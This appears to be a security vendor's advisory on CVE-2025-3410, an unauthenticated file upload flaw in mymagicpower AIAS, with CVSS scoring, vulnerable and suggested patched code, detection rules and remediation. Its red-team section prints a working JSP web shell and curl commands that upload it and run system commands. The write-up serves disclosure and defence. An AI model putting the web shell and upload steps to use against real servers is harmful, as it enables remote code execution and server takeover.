CVE-2025-3410
Executive Summary
CVE-2025-3410 is a critical unauthenticated unrestricted file upload vulnerability in mymagicpower AIAS (version 20250308). The flaw resides in the LocalStorageController.java file within the training platform module. An attacker can remotely upload arbitrary files without authentication, leading to potential remote code execution (RCE), data exfiltration, or full server compromise. The vendor has not responded to disclosure, and no patch is available. Public exploit code has been released, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone Java application (Spring Boot likely). However, the unrestricted upload can be used to inject malicious JSP or other executable files, compromising the entire supply chain of any downstream systems that consume AIAS outputs.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full file read access possible.
- Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
- Availability (A): High (H) – Uploaded files can crash the application or be used for denial of service.
CVSS Score: 9.8 (Critical)
Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.
Deep Dive & Mechanics
The vulnerability is in the LocalStorageController.java file. The File argument in the upload endpoint is not validated for file type, size, or content. The application likely uses a multipart file upload handler that directly saves the uploaded file to a configurable directory (e.g., /uploads/). Without proper sanitization, an attacker can upload a malicious JSP file (e.g., shell.jsp) and then access it via the web server to execute arbitrary commands.
Root Cause: Missing file type validation and lack of authentication on the upload endpoint.
Attack Flow:
- Attacker identifies the upload endpoint (e.g.,
/api/uploador/file/upload). - Sends a POST request with a multipart form containing a file (e.g.,
shell.jsp). - The server saves the file to a publicly accessible directory.
- Attacker accesses the uploaded file via HTTP (e.g.,
http://target/uploads/shell.jsp). - The JSP file executes, giving the attacker a web shell.
Vulnerable vs. Patched Code
Vulnerable Code (LocalStorageController.java):
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
String fileName = file.getOriginalFilename();
File dest = new File(uploadDir + fileName);
file.transferTo(dest);
return "File uploaded: " + fileName;
}
Patched Code (Hypothetical):
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
// Validate file extension
String fileName = file.getOriginalFilename();
String extension = fileName.substring(fileName.lastIndexOf("."));
if (!allowedExtensions.contains(extension)) {
return "Invalid file type";
}
// Sanitize filename
fileName = UUID.randomUUID().toString() + extension;
File dest = new File(uploadDir + fileName);
file.transferTo(dest);
return "File uploaded: " + fileName;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running mymagicpower AIAS 20250308.
- Network access to the upload endpoint.
Exploit Steps:
- Create a malicious JSP file (e.g.,
cmd.jsp):<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %> - Upload the file using curl:
curl -X POST -F "file=@cmd.jsp" http://target:8080/upload - Execute commands:
curl http://target:8080/uploads/cmd.jsp?cmd=id
Expected Output: uid=1000(aias) gid=1000(aias) groups=1000(aias)
Blue Team
Detection Steps:
- Monitor for unusual file uploads to
/uploads/or similar directories. - Check for JSP, WAR, or other executable file types in upload directories.
- Review web server logs for POST requests to
/uploadwith large payloads. - Use file integrity monitoring (FIM) to detect new files in upload directories.
Hunting Query (Splunk):
index=web_logs source="/var/log/nginx/access.log"
method=POST uri="/upload" status=200
| table _time, src_ip, uri, http_user_agent
Indicators of Compromise (IOCs)
- File Hashes (Example):
cmd.jsp:e99a18c428cb38d5f260853678922e03
- Network Indicators:
- POST requests to
/uploadwith multipart form data. - Subsequent GET requests to
/uploads/<filename>.jspwithcmdparameter.
- POST requests to
- File System Indicators:
- Unexpected
.jsp,.war,.phpfiles in/uploads/or/tmp/.
- Unexpected
- Log Indicators:
File uploaded: cmd.jspin application logs.
Detection Engineering
YARA Rule
rule CVE_2025_3410_Upload_Detection {
meta:
description = "Detects malicious JSP uploads targeting CVE-2025-3410"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3410"
strings:
$jsp_marker = "<%" ascii
$cmd_param = "cmd=" ascii
$runtime_exec = "Runtime.getRuntime().exec" ascii
condition:
$jsp_marker and ($cmd_param or $runtime_exec)
}
Sigma Rule
title: CVE-2025-3410 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-3410 via file upload
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nginx
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
sc-status: 200
condition: selection
falsepositives:
- Legitimate file uploads by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3410 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; http_client_body; pcre:"/\.(jsp|war|php|exe)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the upload endpoint if not required: Block
/uploadin the web server or application firewall. - Implement authentication on the upload endpoint.
- Validate file types – allow only safe extensions (e.g.,
.png,.jpg). - Sanitize filenames – use UUIDs to prevent path traversal.
- Store uploads outside web root – serve them via a separate handler with content-type validation.
- Apply input validation – check file size and content magic bytes.
Long-term Fix:
- Apply a patch from the vendor if/when released.
- Conduct a full security audit of the AIAS codebase.
- Implement a Web Application Firewall (WAF) with rules to block malicious uploads.
Workaround:
- Use a reverse proxy (e.g., Nginx) to restrict access to the upload endpoint:
location /upload { deny all; return 403; }
Valters IT
Securing Digital Frontiers